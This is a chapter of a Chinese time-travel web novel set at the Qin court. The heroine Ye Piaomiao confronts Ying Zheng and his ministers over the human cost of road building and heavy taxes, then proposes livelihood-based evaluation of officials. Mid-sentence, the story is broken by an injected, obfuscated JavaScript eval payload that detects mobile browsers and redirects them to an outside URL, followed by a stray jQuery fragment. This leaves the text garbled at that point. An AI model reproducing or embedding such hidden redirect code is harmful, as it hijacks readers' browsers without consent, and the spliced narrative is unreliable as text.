西巡结束，回到咸阳，嬴政便诏令频传，将修驰道、直道的浩大工程提上日程。
叶缥缈（目光扫过铺开的驰道图纸）：“君上，天下初定，六国遗民之策才开始有成效，黔首更是疲敝。此时举全国之力大修驰道，工程浩大，旷日持久。朝廷……可曾算过万民可否承受？”
话音落下，殿内空气瞬间凝固。
嬴政并未动怒，但放下朱笔的动作带着千钧之力。目光如剑，声音低沉而充满压迫感：“算？朕算的是万世基业！今日多征一夫，多耗一粟，来日大军朝发夕至，平定叛乱，便可省十万兵、百万粮！”
李斯：“缈姑娘此言差矣！法行如山，令出必践。修驰道乃既定国策，昔年商君变法，秦人亦曾怨声载道，然十年生聚，终成强秦！治大国如烹小鲜，惧灶热而不敢举火，则天下永无熟食矣！今日之疲，正为明日之安！”
蒙毅眉头微蹙：“君上，李廷尉所言，乃长远之策。然缈姑娘所虑，亦是实情。臣以为，或可分阶段施行：先修连通燕齐、三晋之干道，以利控扼东方；至于通往江南、岭南之路，可稍缓数年，待民力稍复。同时，严令各郡，不得擅加徭役额度，违者重惩。如此，既固国本，亦恤民情。”
赵高：“臣愚见，普天之下，莫非王土。陛下乃天下之主，征用民力，如同家主使唤仆役，何来‘承受’一说？倒是……（他抬眼飞快地扫了叶缥缈一眼）如此为黔首发声，倒是那些六国遗老最惯常以此‘仁德’之名，非议朝政，收买人心。”
扶苏：“父皇，儿臣以为缈姐姐与蒙卿所言在理，《尚书》有云，‘民惟邦本，本固邦宁’，如今四方初定，当以宽徭薄赋、与民休息为要。”
叶缥缈继续问：“泰半之赋，如今黔首之家，收十斗粮，要纳七斗税，剩下三斗连一家糊口都不够！饿死了怎么办，累死了又怎么办？男子尽数被征，田亩荒芜，更别说来年赋税了。”
李斯：“缈姑娘休要危言耸听！《田律》、《徭律》自有法度，‘泰半之赋’乃强国之基，商君有言：‘民贫则力富，力富则淫，淫则有虱。’唯有使民处于贫弱之境，方能驱使其死力于耕战！此乃驭民之术！你所言‘活命’，徒乱法纪，若人人求活，谁人为国赴死？”
赵高：“臣听闻，骊山刑徒每日歌谣不止，皆感念君上赐他们为国效力的机会。蝼蚁尚且贪生，而况于人？正因怕死，他们才会更拼命地干活，以求一线生机啊。”
蒙毅内心巨震，深知叶缥缈说的是血淋淋的事实：“‘田亩荒芜’之虑，确需未雨绸缪。臣有一策：或可仿效军功爵，设‘耕战爵’。凡农户在完成正税之外，多垦荒、多产粮者，可赐爵一级，抵免部分徭役。如此，既不动摇国本，又能激励生产，使其为‘利’而耕，而非仅因‘刑’而惧。”
叶缥缈悠悠第三问：“条件本来就不好，这么搞，生孩子的速度都赶不上死人的速度……”
这回她不等回答，直接抛出冰冷的数据：
“一个妇人，怀胎十月，方能生产。而母子平安，将孩子养至成丁，又需足足十五年，这十五年里，不能服重役，需口粮哺育。”
“可一个征发的民夫，在长城、在驰道、在骊山，还没有加上尚未启动的其他工事，能活过三年的，十不存五。”
“一边是十五年才能长成的一个丁男，一边是三年便消耗殆尽的数万民夫。”
“若说要发展有牺牲是必然，诸位所言阿缈也都不奇怪，阿缈不解的是，在座皆是大秦顶级人才，当真没有计算过？还是算了不想看，亦或不敢看？”
叶缥缈连续的发问，语气平静却如同惊雷，在咸阳宫的大殿中炸响，余音回荡，无人能接。
殿内一片死寂。
“退下。”
许久，没有称呼，没有情绪，只是简单的两个字。
李斯深吸一口气，率先躬身：“臣，告退。”他转身离去，步伐依旧沉稳，但背影却透着一丝不易察觉的僵硬。
赵高紧跟着也躬身行礼：“臣告退。”
蒙毅起身行礼。
扶苏还想说什么，但看到他父皇那如同冰封侧脸，起身退出。
叶缥缈起身之际……
“你去哪里？”嬴政的声音响起。
众人抬首，只见嬴政看向叶缥缈，叶缥缈对上他的目光，这等威严，吓得她默默又坐了回去……
蒙毅和扶苏，向叶缥缈投去“任重而道远”的眼神。
叶缥缈绝望闭了下眼睛，唉……就过了把嘴嗨……
嬴政沉声道：“过来。”
叶缥缈起身挪到嬴政边上，“君上……”
嬴政目光锐利，但不是生气：“你这些话都是说给朕听的，不是说给顶级人才听的吧？”
叶缥缈：“是……因为最终还是你拍板嘛。”
嬴政：“那依阿缈之言，当如何？”
叶缥缈：“其实……可能无解……”最优解就是发展商业，国家才能最快有钱，有钱了就可以反哺农业，黔首的日子也会跟着好过起来，可是如果让你们发展商业，首先李斯第一个就要干掉她了，重点她也不会搞经济。搞搞文化，哄哄人还会点，这么大的命题，唉，这回属实自讨苦吃了。
嬴政挑了一下眉。
叶缥缈：“君上，对不起，阿缈知道，你要是不是提出问题，是解决问题，但这个我是真不会，可是又不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708932|189229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吐不快……”
“在众人面前提出，也不像是你的行事。”
“这样君上才能看到这些数字，纵是李斯也无法辩驳。”
嬴政修长的手指依次敲击书案。
“其实，这些问题，君上不可能没想到，只是觉得帝国的建设更为重要，想要一鼓作气筑万世之基，但阿缈说的确实也是摆在眼前不容忽视的问题。”
叶缥缈吞了吞口水，继续说道：“能不能让整个过程平缓些……”即便结局还是一样，但如果能让黔首之家多吃一天饱饭，今天这个头也是没白出了。
嬴政：“你是仗着朕的护佑，是越来越敢说了啊，你初来秦国可是动不动就哭啊……”
叶缥缈嘟囔道：“当时和君上不熟嘛……”
嬴政：“也是，现在确实很熟……”
叶缥缈：“君上，可以了……其实黔首们的处境，跟阿缈做牛马的任务还挺像的，固定的时间，设定了固定的任务，还是个接近极限的任务，为了完成任务，我得要豪不松懈才能完成，完成了才有对应的报酬，如果没有完成，就是什么也没有，哪怕我完成了十有八九，就只要不是十，也等于没完成，那我就只能得到最低档的报酬。我感觉我这个牛马，和黔首挺像的。只不过牛马是为了更好的生活，黔首却是为了活下去。”
“那依你这么说，阿缈也还是愿意做这个‘牛马’，天下的黔首，莫非就不愿意了？”嬴政的语气似乎放松了一丝，带着探讨的意味。
叶缥缈：“君上！那是因为这不危及性命呀，君上的黔首可是拿命去拼啊。”
嬴政：“朕算的是江山永固，你算的是人命几何。依你之见，若是驰道缓修，万一东方有变，烽火连天，那时死的又何止千万？”
叶缥缈：“我也没说不修啊，最大限度保证民力可持续运转的修嘛。”再说了，东方再怎么变，最终都是华夏的东方。
“话说，君上，你的官员有KPI考核吗？”叶缥缈突然眼睛一亮。
嬴政：“KPI？考核？”
叶缥缈：“要不君上也给官员制定KPI！你给郡守下任务，今后考核郡守县令，不光看他们征了多少粮、发了多少役，更要看他们治下人口是增是减，田亩是荒是垦。人口增长、民生安定的，升官；人口凋敝、民有菜色的，罢黜。逐级往上做相应的考核任务，以民生为重点考核项目。让天下官吏明白，帮君上养民，和帮君上征粮一样，是他们的晋身之阶！可不可行？”
“还有其实蒙毅刚才说的方法也可以研究一下的。”
嬴政沉默了一会，对宫人道：“去把蒙毅叫回来。”
叶缥缈：“把扶苏也叫回来……”